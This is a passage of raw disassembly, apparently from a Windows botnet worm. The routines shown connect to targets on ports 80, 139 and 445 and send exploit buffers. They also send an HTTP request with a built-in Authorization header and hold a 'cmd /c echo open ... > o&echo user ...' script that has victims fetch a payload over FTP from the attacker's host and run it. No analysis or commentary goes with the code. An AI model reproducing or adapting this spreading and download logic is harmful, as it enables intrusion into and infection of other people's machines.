ecx, [ebp+var_18] call sub_40D117 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40D1E2 push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40D1E2 lea ecx, [ebp+var_40] call sub_40D1F2 lea ecx, [ebp+var_18] call sub_40D07A lea ecx, [ebp+var_50] call sub_40D07A push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40D1E2 push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40D1E2 push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40D1E2 lea ecx, [ebp+var_38] call sub_40D1F2 lea ecx, [ebp+var_20] call sub_40D07A lea ecx, [ebp+var_30] call sub_40D07A lea ecx, [ebp+var_40] call sub_40D07A push esi lea eax, [ebp+var_858] push 41h push eax call sub_41E4B0 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40D191 lea ecx, [ebp+var_28] call sub_40D117 push 2 push offset dword_448E30 lea ecx, [ebp+var_28] call sub_40D191 push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40D1E2 lea ecx, [ebp+var_28] call sub_40D1F2 lea ecx, [ebp+var_38] call sub_40D07A lea ecx, [ebp+var_10] call sub_40CFB3 lea ecx, [ebp+var_8] call sub_40CFB3 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40D1E2 lea ecx, [ebp+var_10] call sub_40D093 lea ecx, [ebp+var_28] call sub_40D07A push offset byte_448E34 lea ecx, [ebp+var_8] call sub_40D1C5 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40D1E2 lea ecx, [ebp+var_8] call sub_40D093 lea ecx, [ebp+var_10] call sub_40D07A push offset word_448E36 lea ecx, [ebp+var_10] call sub_40D1C5 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40D1E2 lea ecx, [ebp+var_10] call sub_40D093 lea ecx, [ebp+var_8] call sub_40D07A push offset dword_448E38 lea ecx, [ebp+var_8] call sub_40D1C5 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40D1E2 lea ecx, [ebp+var_8] call sub_40D093 lea ecx, [ebp+var_10] call sub_40D07A push (offset aA_1+2) lea ecx, [ebp+var_48] call sub_40D1C5 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40D1E2 lea ecx, [ebp+var_8] call sub_40D07A pop esi loc_40D591: ; CODE XREF: sub_40D24D+1Bj ; sub_40D24D+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop edi pop ebx mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx leave retn sub_40D24D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D5A3 proc near ; CODE XREF: sub_40D667+A2p ; sub_40D667+C7p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi mov esi, [ebp+arg_0] lea eax, [ebp+var_8] push edi push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 xor edi, edi push eax lea eax, [esi+1] inc edi push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call ds:dword_4F5544 ; select cmp eax, edi jnz short loc_40D60A lea eax, [ebp+var_10C] push eax push esi call sub_43A942 ; __WSAFDIsSet test eax, eax jnz short loc_40D60E loc_40D60A: ; CODE XREF: sub_40D5A3+54j xor eax, eax jmp short loc_40D61E ; --------------------------------------------------------------------------- loc_40D60E: ; CODE XREF: sub_40D5A3+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call ds:dword_4E2FE0 ; recv loc_40D61E: ; CODE XREF: sub_40D5A3+69j pop edi pop esi leave retn sub_40D5A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D622 proc near ; CODE XREF: sub_40D667+80p ; sub_40D667+AEp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call ds:dword_4E2FC4 ; htonl mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call ds:dword_4E3018 ; send cmp eax, 4 jz short loc_40D64C xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D64C: ; CODE XREF: sub_40D622+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4E3018 ; send sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40D622 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D667 proc near ; CODE XREF: sub_40D746+48p ; _0:0040DB74p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_41BE40 mov esi, eax pop ecx test esi, esi jnz short loc_40D690 xor al, al jmp loc_40D741 ; --------------------------------------------------------------------------- loc_40D690: ; CODE XREF: sub_40D667+20j push ebx push 0 push esi call sub_41E4B0 push 2Fh push offset dword_448B48 push esi call sub_41FBF0 push 8 lea eax, [esi+31h] push offset dword_448B78 push eax mov [esi+2Fh], di call sub_41FBF0 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_41FBF0 push 6 add ebx, edi push offset dword_4E5CD0 push ebx call sub_41FBF0 push 85h push offset dword_448AC0 push [ebp+arg_0] call sub_40D622 add esp, 48h test al, al jnz short loc_40D6F7 loc_40D6F3: ; CODE XREF: sub_40D667+B8j xor bl, bl jmp short loc_40D738 ; --------------------------------------------------------------------------- loc_40D6F7: ; CODE XREF: sub_40D667+8Aj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push [ebp+arg_0] call sub_40D5A3 push [ebp+var_4] push esi push [ebp+arg_0] call sub_40D622 add esp, 1Ch test al, al jz short loc_40D6F3 push 0 lea eax, [ebp+var_104] push edi push eax push [ebp+arg_0] call sub_40D5A3 add esp, 10h mov bl, 1 loc_40D738: ; CODE XREF: sub_40D667+8Ej push esi call sub_41C9D0 pop ecx mov al, bl loc_40D741: ; CODE XREF: sub_40D667+24j pop edi pop esi pop ebx leave retn sub_40D667 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D746 proc near ; CODE XREF: _0:0040DB5Ap var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_448B88 push [ebp+arg_0] call ds:dword_4F5540 ; send cmp eax, 48h jnz short loc_40D781 push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40D5A3 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40D781 cmp [ebp+var_20], 82h jz short loc_40D785 loc_40D781: ; CODE XREF: sub_40D746+1Bj ; sub_40D746+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D785: ; CODE XREF: sub_40D746+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40D667 add esp, 0Ch leave retn sub_40D746 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D798 proc near ; CODE XREF: sub_40D7E4+29p var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul ds:dbl_43C478 call sub_4201DC and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul ds:dbl_43C470 fstp [esp+10h+var_10] call sub_41FFF0 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_4201DC inc eax leave retn sub_40D798 endp ; =============== S U B R O U T I N E ======================================= sub_40D7E4 proc near ; CODE XREF: sub_40D95B+23p var_44 = qword ptr -44h mov eax, offset loc_43B82F call sub_420820 sub esp, 30h push esi lea eax, [ebp-0Dh] push edi xor esi, esi push eax lea ecx, [ebp-3Ch] mov [ebp-24h], esi call sub_40DBDC push dword ptr [ebp+10h] xor edi, edi inc edi mov [ebp-4], edi call sub_40D798 pop ecx push eax lea ecx, [ebp-3Ch] call sub_40DCE8 cmp [ebp+10h], esi mov [ebp-1Ch], esi jbe loc_40D92F push ebx mov ebx, [ebp+10h] loc_40D82C: ; CODE XREF: sub_40D7E4+144j cmp dword ptr [ebp+10h], 3 jb short loc_40D837 push 3 loc_40D834: ; CODE XREF: sub_40D7E4+5Bj pop ebx jmp short loc_40D848 ; --------------------------------------------------------------------------- loc_40D837: ; CODE XREF: sub_40D7E4+4Cj cmp dword ptr [ebp+10h], 2 jnz short loc_40D841 push 2 jmp short loc_40D834 ; --------------------------------------------------------------------------- loc_40D841: ; CODE XREF: sub_40D7E4+57j cmp [ebp+10h], edi jnz short loc_40D848 mov ebx, edi loc_40D848: ; CODE XREF: sub_40D7E4+51j ; sub_40D7E4+60j and dword ptr [ebp-28h], 0 mov [ebp-2Ch], ebx fild qword ptr [ebp-2Ch] push ecx push ecx ; double fmul ds:dbl_43C480 fstp [esp+44h+var_44] call sub_420210 pop ecx pop ecx call sub_4201DC test ebx, ebx mov [ebp-20h], eax jbe short loc_40D889 mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-14h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi inc edi loc_40D889: ; CODE XREF: sub_40D7E4+8Aj mov cl, [ebp-14h] mov dl, [ebp-14h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-18h], cl mov cl, [ebp-13h] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-13h] mov [ebp-17h], cl mov cl, [ebp-12h] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-16h], cl mov cl, [ebp-12h] and cl, 3Fh test eax, eax mov [ebp-15h], cl jbe short loc_40D8F6 add [ebp-1Ch], eax loc_40D8DB: ; CODE XREF: sub_40D7E4+110j movsx eax, byte ptr [ebp+esi-18h] lea ecx, [ebp-3Ch] mov al, ds:byte_448BD8[eax] push eax push edi call sub_40DC67 inc esi cmp esi, [ebp-20h] jb short loc_40D8DB loc_40D8F6: ; CODE XREF: sub_40D7E4+F2j cmp dword ptr [ebp-1Ch], 48h jb short loc_40D90B push dword ptr [ebp+14h] lea ecx, [ebp-3Ch] call sub_40DC45 and dword ptr [ebp-1Ch], 0 loc_40D90B: ; CODE XREF: sub_40D7E4+116j push 4 pop esi cmp [ebp-20h], esi jnb short loc_40D924 sub esi, [ebp-20h] loc_40D916: ; CODE XREF: sub_40D7E4+13Ej push 3Dh push edi lea ecx, [ebp-3Ch] call sub_40DC67 dec esi jnz short loc_40D916 loc_40D924: ; CODE XREF: sub_40D7E4+12Dj cmp dword ptr [ebp+10h], 0 ja loc_40D82C pop ebx loc_40D92F: ; CODE XREF: sub_40D7E4+3Ej mov ecx, [ebp+8] lea eax, [ebp-3Ch] push eax call sub_40DBF4 mov [ebp-24h], edi and byte ptr [ebp-4], 0 lea ecx, [ebp-3Ch] call sub_40DC3D mov ecx, [ebp-0Ch] mov eax, [ebp+8] pop edi pop esi mov large fs:0, ecx leave retn sub_40D7E4 endp ; =============== S U B R O U T I N E ======================================= sub_40D95B proc near ; CODE XREF: _0:0040DB3Dp mov eax, offset loc_43B849 call sub_420820 sub esp, 10h push ebx push esi push edi push offset word_4E5CDA and dword ptr [ebp-4], 0 push dword ptr [ebp+10h] lea eax, [ebp-1Ch] push dword ptr [ebp+0Ch] push eax call sub_40D7E4 add esp, 10h lea ecx, [ebp-1Ch] mov byte ptr [ebp-4], 1 call sub_40DCE4 lea ecx, [ebp+14h] mov esi, eax call sub_40DCE4 lea esi, [esi+eax+36h] push esi call sub_41BE40 mov edi, eax pop ecx test edi, edi jnz short loc_40D9B1 xor bl, bl jmp short loc_40D9F0 ; --------------------------------------------------------------------------- loc_40D9B1: ; CODE XREF: sub_40D95B+50j lea ecx, [ebp-1Ch] call sub_40DCD7 push eax lea ecx, [ebp+14h] call sub_40DCD7 push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41EC30 add esp, 14h push 0 push esi push edi push dword ptr [ebp+8] call ds:dword_4E3018 ; send cmp eax, esi jz short loc_40D9E7 xor bl, bl jmp short loc_40D9E9 ; --------------------------------------------------------------------------- loc_40D9E7: ; CODE XREF: sub_40D95B+86j mov bl, 1 loc_40D9E9: ; CODE XREF: sub_40D95B+8Aj push edi call sub_41C9D0 pop ecx loc_40D9F0: ; CODE XREF: sub_40D95B+54j and byte ptr [ebp-4], 0 lea ecx, [ebp-1Ch] call sub_40DC3D or dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp+14h] call sub_40DC3D mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40D95B endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 424h and byte ptr [ebp-424h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-423h] push 8Fh rep stosd stosw stosb lea eax, [ebp-424h] push offset sub_448D88 push eax call sub_41FBF0 add esp, 0Ch mov eax, offset byte_43F0FC push eax push eax movzx eax, word ptr ds:dword_4E2D00 push eax push dword ptr [ebp+8] call sub_40AEAD pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... lea eax, [ebp-395h] push 400h push eax call sub_41EC30 add eax, 90h push eax lea eax, [ebp-424h] push eax push 164h lea eax, [ebp-8] push offset sub_448C20 push eax call sub_40D24D xor ebx, ebx add esp, 30h cmp [ebp-4], ebx jnz short loc_40DAB7 xor eax, eax jmp loc_40DBC1 ; --------------------------------------------------------------------------- loc_40DAB7: ; CODE XREF: _0:0040DAAEj mov [ebp-0Ch], ebx loc_40DABA: ; CODE XREF: _0:0040DB9Cj test ebx, ebx jnz loc_40DBA2 push 6 push 1 push 2 call ds:dword_4F553C ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz loc_40DB8A xor eax, eax lea edi, [ebp-1Eh] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-20h], 2 call ds:dword_4E2FC8 ; htons mov [ebp-1Eh], ax lea eax, [ebp+0Ch] push eax call ds:dword_4E3008 ; inet_addr mov [ebp-1Ch], eax lea eax, [ebp-20h] push 10h push eax push esi call ds:dword_4E2F70 ; connect cmp eax, 0FFFFFFFFh jz short loc_40DB7F cmp dword ptr [ebp+0A8h], 50h jnz short loc_40DB47 sub esp, 10h lea eax, [ebp-0Dh] mov ecx, esp mov [ebp-24h], esp push eax lea eax, [ebp+0Ch] push eax call sub_40DC1A push dword ptr [ebp-4] push dword ptr [ebp-8] push esi call sub_40D95B add esp, 1Ch jmp short loc_40DB7C ; --------------------------------------------------------------------------- loc_40DB47: ; CODE XREF: _0:0040DB1Fj cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_40DB61 push dword ptr [ebp-4] push dword ptr [ebp-8] push esi call sub_40D746 jmp short loc_40DB79 ; --------------------------------------------------------------------------- loc_40DB61: ; CODE XREF: _0:0040DB51j cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_40DB7F push dword ptr [ebp-4] push dword ptr [ebp-8] push esi call sub_40D667 loc_40DB79: ; CODE XREF: _0:0040DB5Fj add esp, 0Ch loc_40DB7C: ; CODE XREF: _0:0040DB45j movzx ebx, al loc_40DB7F: ; CODE XREF: _0:0040DB16j _0:0040DB6Bj push esi call ds:dword_4E3060 ; closesocket test ebx, ebx jnz short loc_40DB95 loc_40DB8A: ; CODE XREF: _0:0040DAD3j push 3E8h call ds:dword_4F534C ; Sleep loc_40DB95: ; CODE XREF: _0:0040DB88j inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40DABA loc_40DBA2: ; CODE XREF: _0:0040DABCj lea ecx, [ebp-8] call sub_40D07A test ebx, ebx jz short loc_40DBBF mov eax, [ebp+0B0h] shl eax, 6 lea eax, dword_4481F8[eax] inc dword ptr [eax] loc_40DBBF: ; CODE XREF: _0:0040DBACj mov eax, ebx loc_40DBC1: ; CODE XREF: _0:0040DAB2j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40DBC6: ; DATA XREF: _2:0043F008o call sub_40E188 jmp $+5 push offset nullsub_1 call sub_420D10 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_40DBDC proc near ; CODE XREF: sub_40D7E4+1Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov al, [eax] mov [esi], al call sub_40DF46 mov eax, esi pop esi retn 4 sub_40DBDC endp ; =============== S U B R O U T I N E ======================================= sub_40DBF4 proc near ; CODE XREF: sub_40D7E4+152p ; sub_43A4C0+3Cp ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx push 0 mov al, [edi] mov [esi], al call sub_40DF46 push 0FFFFFFFFh push 0 push edi mov ecx, esi call sub_40DD57 mov eax, esi pop edi pop esi retn 4 sub_40DBF4 endp ; =============== S U B R O U T I N E ======================================= sub_40DC1A proc near ; CODE XREF: _0:0040DB31p ; sub_43A460+27p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, ecx push 0 mov al, [eax] mov [esi], al call sub_40DF46 push [esp+4+arg_0] mov ecx, esi call sub_40DE4D mov eax, esi pop esi retn 8 sub_40DC1A endp ; =============== S U B R O U T I N E ======================================= sub_40DC3D proc near ; CODE XREF: sub_40D7E4+161p ; sub_40D95B+9Cp ... push 1 call sub_40DF46 retn sub_40DC3D endp ; =============== S U B R O U T I N E ======================================= sub_40DC45 proc near ; CODE XREF: sub_40D7E4+11Ep arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_40DC62 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40DCFC pop esi retn 4 sub_40DC45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40DC62 proc near ; CODE XREF: sub_40DC45+7p ; sub_40DE4D+7p jmp sub_41BC70 sub_40DC62 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DC67 proc near ; CODE XREF: sub_40D7E4+107p ; sub_40D7E4+138p arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push esi mov esi, ecx or eax, 0FFFFFFFFh push edi sub eax, [esi+8] cmp eax, [ebp+arg_0] ja short loc_40DC7E call sub_43A460 loc_40DC7E: ; CODE XREF: sub_40DC67+10j cmp [ebp+arg_0], 0 jbe short loc_40DCB6 mov edi, [esi+8] push 0 add edi, [ebp+arg_0] mov ecx, esi push edi call sub_40DE9A test al, al jz short loc_40DCB6 lea eax, [ebp+arg_4] push eax mov eax, [esi+4] push [ebp+arg_0] add eax, [esi+8] push eax call sub_40DCBE add esp, 0Ch mov ecx, esi push edi call sub_40DE6A loc_40DCB6: ; CODE XREF: sub_40DC67+1Bj ; sub_40DC67+2Fj mov eax, esi pop edi pop esi pop ebp retn 8 sub_40DC67 endp ; =============== S U B R O U T I N E ======================================= sub_40DCBE proc near ; CODE XREF: sub_40DC67+3Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] push [esp+arg_4] movsx eax, byte ptr [eax] push eax push [esp+8+arg_0] call sub_41E4B0 add esp, 0Ch retn sub_40DCBE endp ; =============== S U B R O U T I N E ======================================= sub_40DCD7 proc near ; CODE XREF: sub_40D95B+59p ; sub_40D95B+62p ... ; FUNCTION CHUNK AT 0040DF40 SIZE 00000006 BYTES mov eax, [ecx+4] test eax, eax jnz short locret_40DCE3 jmp loc_40DF40 ; --------------------------------------------------------------------------- locret_40DCE3: ; CODE XREF: sub_40DCD7+5j retn sub_40DCD7 endp ; =============== S U B R O U T I N E ======================================= sub_40DCE4 proc near ; CODE XREF: sub_40D95B+32p ; sub_40D95B+3Cp mov eax, [ecx+8] retn sub_40DCE4 endp ; =============== S U B R O U T I N E ======================================= sub_40DCE8 proc near ; CODE XREF: sub_40D7E4+33p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp [ecx+0Ch], eax jnb short locret_40DCF9 push 0 push eax call sub_40DE9A locret_40DCF9: ; CODE XREF: sub_40DCE8+7j retn 4 sub_40DCE8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DCFC proc near ; CODE XREF: sub_40DC45+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, ecx or eax, 0FFFFFFFFh push edi sub eax, [esi+8] cmp eax, [ebp+arg_4] ja short loc_40DD13 call sub_43A460 loc_40DD13: ; CODE XREF: sub_40DCFC+10j cmp [ebp+arg_4], 0 jbe short loc_40DD4A mov edi, [esi+8] push 0 add edi, [ebp+arg_4] mov ecx, esi push edi call sub_40DE9A test al, al jz short loc_40DD4A push [ebp+arg_4] mov eax, [esi+4] add eax, [esi+8] push [ebp+arg_0] push eax call sub_40DD52 add esp, 0Ch mov ecx, esi push edi call sub_40DE6A loc_40DD4A: ; CODE XREF: sub_40DCFC+1Bj ; sub_40DCFC+2Fj mov eax, esi pop edi pop esi pop ebp retn 8 sub_40DCFC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40DD52 proc near ; CODE XREF: sub_40DCFC+3Ep ; sub_40DD57+D9p ... jmp sub_41FBF0 sub_40DD52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DD57 proc near ; CODE XREF: sub_40DBF4+1Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, ecx mov ecx, [ebp+arg_0] push edi call sub_40DE49 mov ebx, [ebp+arg_4] cmp eax, ebx jnb short loc_40DD73 call sub_43A760 loc_40DD73: ; CODE XREF: sub_40DD57+15j mov ecx, [ebp+arg_0] call sub_40DE49 mov edi, eax sub edi, ebx cmp [ebp+arg_8], edi jnb short loc_40DD87 mov edi, [ebp+arg_8] loc_40DD87: ; CODE XREF: sub_40DD57+2Bj mov ecx, [ebp+arg_0] cmp esi, ecx jnz short loc_40DDA9 add edi, ebx push 0FFFFFFFFh push edi mov ecx, esi call sub_40DFD6 push ebx push 0 mov ecx, esi call sub_40DFD6 jmp loc_40DE40 ; --------------------------------------------------------------------------- loc_40DDA9: ; CODE XREF: sub_40DD57+35j test edi, edi jbe short loc_40DE12 call sub_40DE49 cmp edi, eax jnz short loc_40DE12 mov ecx, [ebp+arg_0] call sub_40DCD7 push eax mov ecx, esi call sub_40E11B cmp byte ptr [eax], 0FEh jnb short loc_40DE12 push [ebp+arg_0] push esi call sub_40E173 pop ecx test al, al pop ecx jz short loc_40DE12 push 1 mov ecx, esi call sub_40DF46 mov ecx, [ebp+arg_0] call sub_40DCD7 mov ecx, [ebp+arg_0] mov [esi+4], eax call sub_40DE49 mov ecx, [ebp+arg_0] mov [esi+8], eax call sub_40E052 push dword ptr [esi+4] mov ecx, esi mov [esi+0Ch], eax call sub_40E11B inc byte ptr [eax] jmp short loc_40DE40 ; --------------------------------------------------------------------------- loc_40DE12: ; CODE XREF: sub_40DD57+54j ; sub_40DD57+5Dj ... push 1 push edi mov ecx, esi call sub_40DE9A test al, al jz short loc_40DE40 mov ecx, [ebp+arg_0] push edi call sub_40DCD7 add eax, [ebp+arg_4] push eax push dword ptr [esi+4] call sub_40DD52 add esp, 0Ch mov ecx, esi push edi call sub_40DE6A loc_40DE40: ; CODE XREF: sub_40DD57+4Dj ; sub_40DD57+B9j ... mov eax, esi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40DD57 endp ; =============== S U B R O U T I N E ======================================= sub_40DE49 proc near ; CODE XREF: sub_40DD57+Bp ; sub_40DD57+1Fp ... mov eax, [ecx+8] retn sub_40DE49 endp ; =============== S U B R O U T I N E ======================================= sub_40DE4D proc near ; CODE XREF: sub_40DC1A+18p ; sub_40E130+27p arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_40DC62 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40DFA0 pop esi retn 4 sub_40DE4D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DE6A proc near ; CODE XREF: sub_40DC67+4Ap ; sub_40DCFC+49p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] and [ebp+var_1], 0 mov [ecx+8], eax mov ecx, [ecx+4] lea edx, [ebp+var_1] add ecx, eax push edx push ecx call sub_40DE8D pop ecx pop ecx leave retn 4 sub_40DE6A endp ; =============== S U B R O U T I N E ======================================= sub_40DE8D proc near ; CODE XREF: sub_40DE6A+18p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] mov al, [eax] mov [ecx], al retn sub_40DE8D endp ; =============== S U B R O U T I N E ======================================= sub_40DE9A proc near ; CODE XREF: sub_40DC67+28p ; sub_40DCE8+Cp ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push ebx push esi push edi mov esi, ecx call sub_40E040 mov edi, [esp+0Ch+arg_0] cmp eax, edi jnb short loc_40DEB1 call sub_43A460 loc_40DEB1: ; CODE XREF: sub_40DE9A+10j mov eax, [esi+4] xor ebx, ebx cmp eax, ebx jz short loc_40DEF1 push eax mov ecx, esi call sub_40E11B cmp [eax], bl jz short loc_40DEF1 push dword ptr [esi+4] mov ecx, esi call sub_40E11B cmp byte ptr [eax], 0FFh jz short loc_40DEF1 cmp edi, ebx mov ecx, esi jnz short loc_40DF32 push dword ptr [esi+4] call sub_40E11B dec byte ptr [eax] push ebx loc_40DEE6: ; CODE XREF: sub_40DE9A+63j mov ecx, esi call sub_40DF46 loc_40DEED: ; CODE XREF: sub_40DE9A+68j ; sub_40DE9A+72j xor al, al jmp short loc_40DF3A ; --------------------------------------------------------------------------- loc_40DEF1: ; CODE XREF: sub_40DE9A+1Ej ; sub_40DE9A+2Aj ... cmp edi, ebx jnz short loc_40DF0E cmp [esp+0Ch+arg_4], bl jz short loc_40DEFF push 1 jmp short loc_40DEE6 ; --------------------------------------------------------------------------- loc_40DEFF: ; CODE XREF: sub_40DE9A+5Fj cmp [esi+4], ebx jz short loc_40DEED push ebx mov ecx, esi call sub_40DE6A jmp short loc_40DEED ; --------------------------------------------------------------------------- loc_40DF0E: ; CODE XREF: sub_40DE9A+59j cmp [esp+0Ch+arg_4], bl jz short loc_40DF2B mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_40DF20 cmp eax, edi jnb short loc_40DF38 loc_40DF20: ; CODE XREF: sub_40DE9A+80j push 1 mov ecx, esi call sub_40DF46 jmp short loc_40DF30 ; --------------------------------------------------------------------------- loc_40DF2B: ; CODE XREF: sub_40DE9A+78j cmp [esi+0Ch], edi jnb short loc_40DF38 loc_40DF30: ; CODE XREF: sub_40DE9A+8Fj mov ecx, esi loc_40DF32: ; CODE XREF: sub_40DE9A+3Fj push edi call sub_40E056 loc_40DF38: ; CODE XREF: sub_40DE9A+84j ; sub_40DE9A+94j mov al, 1 loc_40DF3A: ; CODE XREF: sub_40DE9A+55j pop edi pop esi pop ebx retn 8 sub_40DE9A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_40DCD7 loc_40DF40: ; CODE XREF: sub_40DCD7+7j mov eax, offset dword_43C488 retn ; END OF FUNCTION CHUNK FOR sub_40DCD7 ; =============== S U B R O U T I N E ======================================= sub_40DF46 proc near ; CODE XREF: sub_40DBDC+Dp ; sub_40DBF4+Ep ... arg_0 = byte ptr 4 push ebx xor ebx, ebx cmp [esp+4+arg_0], bl push esi mov esi, ecx jz short loc_40DF92 mov eax, [esi+4] cmp eax, ebx jz short loc_40DF92 push eax call sub_40E11B cmp [eax], bl jz short loc_40DF80 push dword ptr [esi+4] mov ecx, esi call sub_40E11B cmp byte ptr [eax], 0FFh jz short loc_40DF80 push dword ptr [esi+4] mov ecx, esi call sub_40E11B dec byte ptr [eax] jmp short loc_40DF92 ; --------------------------------------------------------------------------- loc_40DF80: ; CODE XREF: sub_40DF46+1Bj ; sub_40DF46+2Aj mov eax, [esi+0Ch] mov ecx, esi inc eax inc eax push eax mov eax, [esi+4] dec eax push eax call sub_40E123 loc_40DF92: ; CODE XREF: sub_40DF46+Aj ; sub_40DF46+11j ... mov [esi+4], ebx mov [esi+8], ebx mov [esi+0Ch], ebx pop esi pop ebx retn 4 sub_40DF46 endp ; =============== S U B R O U T I N E ======================================= sub_40DFA0 proc near ; CODE XREF: sub_40DE4D+14p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 push [esp+8+arg_4] mov 